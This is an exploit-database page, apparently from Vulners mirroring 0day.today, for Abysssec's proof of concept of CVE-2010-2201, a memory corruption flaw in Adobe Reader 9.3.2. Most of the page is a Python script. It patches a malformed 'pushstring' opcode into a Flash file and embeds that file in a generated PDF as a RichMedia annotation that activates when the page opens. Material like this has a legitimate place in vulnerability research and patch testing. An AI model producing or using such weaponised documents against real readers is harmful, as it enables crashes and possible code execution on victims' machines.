Lucene search
K

Adobe Acrobat and Reader "pushstring" Memory Corruption

🗓️ 12 Sep 2010 00:00:00Reported by AbysssecType 
zdt
 zdt
🔗 0day.today👁 34 Views

Adobe Acrobat and Reader "pushstring" memory corruption in Adobe Reader 9.3.

Related
Code
=======================================================
Adobe Acrobat and Reader "pushstring" Memory Corruption
=======================================================

  Title             :  Adobe Acrobat and Reader "pushstring" Memory Corruption
  Version           :  Adobe Reader 9.3.2
  Analysis         :  http://www.abysssec.com
  Vendor            :  http://www.adobe.com
  Impact            :  Med/High
  Contact           :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           :  @abysssec
  CVE               :  CVE-2010-2201
  MOAUB Number      :  MOAUB-10
'''
 
import sys
 
class PDF:
      
    def __init__(self):
        self.xrefs = []
        self.eol = '\x0a'
        self.content = ''
        self.xrefs_offset = 0
         
    def header(self):
        self.content += '%PDF-1.6' + self.eol
         
    def obj(self, obj_num, data,flag):
        self.xrefs.append(len(self.content))
        self.content += '%d 0 obj' % obj_num
        if flag == 1:
            self.content += self.eol + '<< ' + data + ' >>' + self.eol
        else:
            self.content += self.eol + data + self.eol
        self.content += 'endobj' + self.eol
 
    def obj_SWFStream(self, obj_num, data, stream):
        self.xrefs.append(len(self.content))
        self.content += '%d 0 obj' % obj_num
        self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream))
        self.content += ' >>' + self.eol
        self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
        self.content += 'endobj' + self.eol
     
    def obj_Stream(self, obj_num, data, stream):
        self.xrefs.append(len(self.content))
        self.content += '%d 0 obj' % obj_num
        self.content += self.eol + '<< ' + data + '/Length %d' %len(stream)
        self.content += ' >>' + self.eol
        self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
        self.content += 'endobj' + self.eol
         
    def ref(self, ref_num):
        return '%d 0 R' % ref_num
         
    def xref(self):
        self.xrefs_offset = len(self.content)
        self.content += 'xref' + self.eol
        self.content += '0 %d' % (len(self.xrefs) + 1)
        self.content += self.eol
        self.content += '0000000000 65535 f' + self.eol
        for i in self.xrefs:
            self.content += '%010d 00000 n' % i
            self.content += self.eol
     
    def trailer(self):
        self.content += 'trailer' + self.eol
        self.content += '<< /Size %d' % (len(self.xrefs) + 1)
        self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol
        self.content += 'startxref' + self.eol
        self.content += '%d' % self.xrefs_offset
        self.content += self.eol
        self.content += '%%EOF'
         
    def generate(self):
        return self.content
 
 
         
         
class POC:
 
    def getSWF(self):
        try:
            fdR = open('flash.swf', 'rb+')
            strTotal = fdR.read()      
            str1 = strTotal[:479]
             
            command = '\x2C\xE8\x88\xF0\xFF\x33'   #pushstring
             
            str2 = strTotal[485:]
             
            fdW= open('poc.swf', 'wb+')
            finalStr = str1+command+str2
            fdW.write(finalStr)
             
            fdR.close()
            return finalStr
             
        except IOError:
            print '[*] Error : An IO error has occurred'
         
 
def generate_pdf():
    poc = POC()
    swfFile = 'poc.swf'
    pdf = PDF()
    pdf.header()
    pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1)
    pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1)
    pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1)
    pdf.obj_Stream(4, '','')
    pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1)
    pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1) 
    pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1)
    pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1) 
    pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1)   
    pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1)   
    pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1) 
    pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1)   
    pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1)
    pdf.obj_SWFStream(14, ' /Type /EmbeddedFile  ',poc.getSWF() ) 
    pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1)
    pdf.obj_Stream(16, '<</Length 0 >> ','') 
     
     
    pdf.xref()
    pdf.trailer()
    return pdf.generate()
     
def main():
    if len(sys.argv) != 2:
        print 'Usage: python %s [output file name]' % sys.argv[0]
        sys.exit(0)
    file_name = sys.argv[1]
    if not file_name.endswith('.pdf'):
        file_name = file_name + '.pdf'
    try:
        fd = open(file_name, 'wb+')
        fd.write(generate_pdf())
        fd.close()
        print '[-] PDF file generated and written to %s' % file_name
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
if __name__ == '__main__':
    main()



#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Sep 2010 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.13538
34